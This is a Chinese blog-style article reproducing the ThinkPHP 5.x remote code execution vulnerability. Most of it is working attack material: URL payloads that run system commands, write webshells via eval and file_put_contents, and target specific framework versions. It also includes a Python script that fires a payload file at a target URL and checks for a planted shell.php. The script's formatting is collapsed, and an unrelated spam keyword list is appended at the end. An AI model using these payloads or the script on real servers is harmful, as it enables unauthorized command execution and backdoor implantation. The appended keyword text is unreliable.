千家信息网

ThinkPHP5.x漏洞复现的示例分析

发表于:2026-11-01 作者:千家信息网编辑
千家信息网最后更新 2026年11月01日,这篇文章主要介绍ThinkPHP5.x漏洞复现的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!首先我们搭建完毕试验环境后,本地访问http://127.0.0.1/th
千家信息网最后更新 2026年11月01日ThinkPHP5.x漏洞复现的示例分析

这篇文章主要介绍ThinkPHP5.x漏洞复现的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!

首先我们搭建完毕试验环境后,本地访问http://127.0.0.1/thinkphp/public/index.php,会出现以下界面,说明安装成功。

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架。同时也使用面向对象的开发结构和MVC模式。对于5.0.x、5.1.x、5.2.x 这几个版本,都无需登入可以进行远程代码执行。

我们首先在本地直接远程执行系统命令:

注明:payload是来源于零组攻防实验室整理的。

1、获取当前用户:

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami(系统命令)


2、获取进程信息:

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=netstat -an


3、写入shell文件:

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^>shell.php

将在public文件夹中写入一句话php代码,并设置文件名称为shell.php

本小白写了一段代码可以自动的执行payload,也是为了方便测试,不用手动的去更换payload。

import requestsimport time# from lxml import etreeimport optparseprint("*"*30 + "Thinkphp远程代码执行" + "*"*30)'''参考的payload:如果不是用python测试的话,那么就要把里面的双反斜杠换为单反斜杠互联网上面收集的poc1、利用system函数远程命令执行http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami2.通过phpinfo函数写出phpinfo()的信息http://localhost:9096/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=13.写入shell:http://localhost:9096/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^>shell.phphttp://localhost/thinkphp5.1/html/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['fuck']);&fuck=phpinfo();/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['fuck']);&fuck=eval($_POST[ian]);/public/index.php?s=index/\think\Container/invokefunction&function=call_user_func&vars[0]=phpinfo&vars[1]=1POCTP版本5.0.21:http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoamihttp://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1TP版本5.0.22:http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoamihttp://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1TP5.1.*thinkphp5.1.29为例1、代码执行:http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=12、命令执行:http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=操作系统命令3、文件写入(写shell):http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E4、未知:http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E5、代码执行:http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=16、命令执行:http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令7、代码执行:http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=18、命令执行:http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令'''#datetime--20200318#Author--cmdback#免责声明:此实验所用的工具仅限于学习,请勿非法使用,否则后果自负#payload = '/thinkphp/public/?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami'headers = {    'User - Agent': 'Mozilla / 5.0(Windows NT 10.0;Win64;x64) AppleWebKit / 537.36(KHTML, likeGecko) Chrome / 80.0.3987.132Safari / 537.36'}def get_info():    try:        #先测试url是否可以正常访问        res = requests.get(url)        if res.status_code == 200:            get_system()        else:            print("此网站无法正常访问!!")    except Exception as e:        print(e)def get_system():    #进行payload的发送,并返回测试结果,这个模块知识测试的是远程执行系统命令    with open('payload.txt','r') as f:        try:            payloads = f.readlines()            for payload in payloads:                #将url和payload进行拼接,如果单个url测得话还可以,如果是批量多个地址进行测试,这个脚本还可再调整一下                res = requests.get(url+payload,headers=headers)                # html = etree.HTML(res.text,etree.HTMLParser())                # cmd_line = html.xpath('//body/text()')                #这里是需要进行去重一下,代码先这样写。                if res.status_code == 200:                    print("执行命令如下:",res.text + '\n')                    #判断写入文件是否成功                    if requests.get(url+'/shell.php').status_code == 200:                        print("上传脚本成功,木马脚本地址为:",url+'/shell.php')                else:                    return False        except Exception as e:            print(e)#getsheell的测试函数先放在这里,后期补充。def get_shell():    passif __name__ == '__main__':    '''    参数详解:    1、url:添加需要的url地址;    2、payload:自己添加的payload,文件中需要换行输入    '''    usage ="python -u  -p "    parse = optparse.OptionParser(usage)    parse.add_option('-u',"--url",dest="url",help="Enter url")    parse.add_option('-p','--payload',dest='payload',help="Enter payload")    options,args=parse.parse_args()    if options.url == None or options.payload == None:        print(parse.usage)    else:        url = options.url        payload = options.payload    get_info()

代码有点鸡肋,不能批量的进行检测。需要在创建payload文件,然后自动读取里面的paylaod进行执行命令。下面截图来看一下吧:


以上是"ThinkPHP5.x漏洞复现的示例分析"这篇文章的所有内容,感谢各位的阅读!希望分享的内容对大家有帮助,更多相关知识,欢迎关注行业资讯频道!

命令 代码 文件 测试 系统 成功 操作系统 函数 地址 版本 脚本 漏洞 示例 分析 信息 内容 斜杠 知识 篇文章 参考 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 互联网科技有限公司 中资互联网科技 互联网络科技有限公司 易互联网科技有限公司 互联网科技股票 深圳齐家互联网科技 致聘互联网科技 四川狮子座互联网科技 深圳互联网科技怎么样 互联网科技中介 移动互联网科技股 汽车互联网创新科技园 乌鲁木齐新华智原互联网科技学校 上海乐五互联网科技有限公司 版纳互联网科技选哪家 唐山双旺合互联网科技产业园 众联互联网络科技 数字互联网科技有限公司 陕西彩京云互联网科技有限公司 重庆科技产业互联网有哪些 北京路客互联网科技有限公司 北京禾田雨橡互联网科技 赫美联合互联网科技 成都仁贤领冠互联网科技有限公司 深圳国际航运科技和互联网 知域互联网科技有限公司大骗子 晋城互联网科技 用友工业互联网科技发展 锡山区互联网智能科技产品供应 株洲百竞科技的互联网营销顾问
0